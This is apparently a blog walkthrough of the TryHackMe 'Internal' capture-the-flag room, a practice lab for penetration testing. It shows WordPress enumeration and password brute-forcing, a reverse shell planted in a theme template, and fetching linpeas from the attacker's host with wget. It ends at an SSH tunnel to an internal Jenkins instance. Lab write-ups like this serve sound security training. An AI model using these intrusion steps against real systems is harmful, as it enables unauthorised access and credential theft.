Sitemap

Tryhackme:Internal

7 min readJun 26, 2024

Lenghty but Handy.

Pre Engagement Briefing.

You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks.

Scope of Work

The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:

  • User.txt
  • Root.txt

Additionally, the client has provided the following scope allowances:

  • Ensure that you modify your hosts file to reflect internal.thm
  • Any tools or techniques are permitted in this engagement
  • Locate and note all vulnerabilities found
  • Submit the flags discovered to the dashboard
  • Only the IP address assigned to your machine is in scope

(Roleplay off)

I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.

#TASK 1 — Recon

┌──(root㉿kali)-[~/Desktop/tryhackme]

└─# nmap -sV -A 10.10.34.60 -v

Press enter or click to view image in full size

Found port 22 and 80 as open , lets visit port 80 to see whats running.

Press enter or click to view image in full size

But during our pre-engagement briefing it was asked to add the IP for this machine in /etc/hosts file as internal.thm, lets do that and verify .

I have used gedit you can use nano/vim etc.

Press enter or click to view image in full size

I got the same page so navigated to robots.txt

Press enter or click to view image in full size

I found a server version disclosure lets find whether this version is vulnerable, simultaneously we will continue our content discovery using tools (dirb/dirsearch/gobuster etc)

A bit of google dorking searching an exploit.

Press enter or click to view image in full size

But during our content discovery phase i found a login page and blog page as show below.

Press enter or click to view image in full size

On blog page i found something taunting me.

Press enter or click to view image in full size

Let read this

While reading we got a hint that this is post by a usename admin not let find a login page and check this user exists or not.

You need to have a malicious eye sight while enumerating.

Press enter or click to view image in full size

On a same page i found a login page below.

Press enter or click to view image in full size

Identify the error for random user.

Press enter or click to view image in full size

Now lets check for the user we found on the blog page which is admin.

Tip:This requires an evil eye to identify.

Press enter or click to view image in full size

Task 2 #Exploitation.

As the website is word press based we will use a good tool wpscan.

WPScan is a free, for non-commercial use, black box WordPress security scanner written for security professionals and blog maintainers to test the security of their WordPress websites.

wpscan — url http://internal.thm/blog/ -e u

Using above command we are going to scan the blog for security vulnerabilities as well as username enumeration (-e u).

After the result we are interested in two things one is outdated theme which is being used and username. This outdated theme might come in handy as we go along.

Press enter or click to view image in full size

Now in WPSCAN we can brute force for username and passwords.

wpscan — url http://internal.thm/blog/ — usernames admin — passwords /usr/share/wordlists/rockyou.txt

Press enter or click to view image in full size

And here we found.

Press enter or click to view image in full size
Press enter or click to view image in full size

Successfully login using that credentials.

Get Akbar Khan’s stories in your inbox

Join Medium for free to get updates from this writer.

Navigate to theme editor.

Edit this 404 template and upload a malicious code.

Press enter or click to view image in full size

Search for malicious code.

Press enter or click to view image in full size

Editing the code and upload.

Before uploading make sure the listener is in place from the given IP.

Now upload the shell code and update the file.

Press enter or click to view image in full size

Let’s visit the 404.php from url using hxxp://internal.thm/blog/wp-content/themes/twentyseventeen/404.php

Press enter or click to view image in full size

BOOOMMMMM!!!!!!!!!!!!!! Initial Access low level user found.

Press enter or click to view image in full size

TASK 3 #Privilege Escalation — Local user

First lets make this normal shell to interactive shell.

python -c ‘import pty; pty.spawn(“/bin/bash”)’

We will upload linpeas on this server and will investigate privilege escalation.

On Kali machine

python -m http.server

On victim

wget http://10.11.48.237:1111/linpeas.sh -O /tmp/linpeas.sh

Press enter or click to view image in full size

Give the execute permission to linpeas.sh to run.

Found something interesting.

Press enter or click to view image in full size
Press enter or click to view image in full size

We were able to login.

Press enter or click to view image in full size

This gave us the db access but still we need to capture the 2 flags

User.txt and root.txt

Lets use locate command to check where they resides.

Found nothing useful.

The locate hint comes in picture as we are solving a room where we need to capture the flags. And the flag format is in .txt

We found a credentials here for user Aubreanna.

Press enter or click to view image in full size

The format looks these are ssh credentials lets try it out.

ssh aubreanna@10.10.34.60

Press enter or click to view image in full size

With this user you will found your flag user.txt

TASK 4 #Privilege Escalation — Root

We already got user.txt flag, now we move to retrieve root.txt by escalating current user privileges to root. At this stage we can again try the same “LinPeas” script to find some vulnerability to escalate, but it’s a dead end. However, in “aubreanna” home folder there’s a Jenkins.txt file.

Lets check what’s there.

Press enter or click to view image in full size

As you can see, there’s a docker running on target machine with 172 series IP address, so Jenkins is inside docker running on port 8080.

Even if we try to access that docker IP and Port using our browser it’s not reachable. So, to access it we are going to use SSH tunneling technique to forward Jenkins ip:port to our attacker machine’s ip:port.

We have exit all the logins and reverseshell. From attackers (kali linux) terminal execute below command and type the password which we retrieved from wp-save.txt file.

ssh -L 6767:172.17.0.2:8080 aubreanna@internal.thm

Press enter or click to view image in full size

Akbar Khan
Akbar Khan

Written by Akbar Khan

Cyber security enthusiastic | Certified Ethical Hacker — ( Practical ) with a demonstrated history of working in the Information Security and Cyber security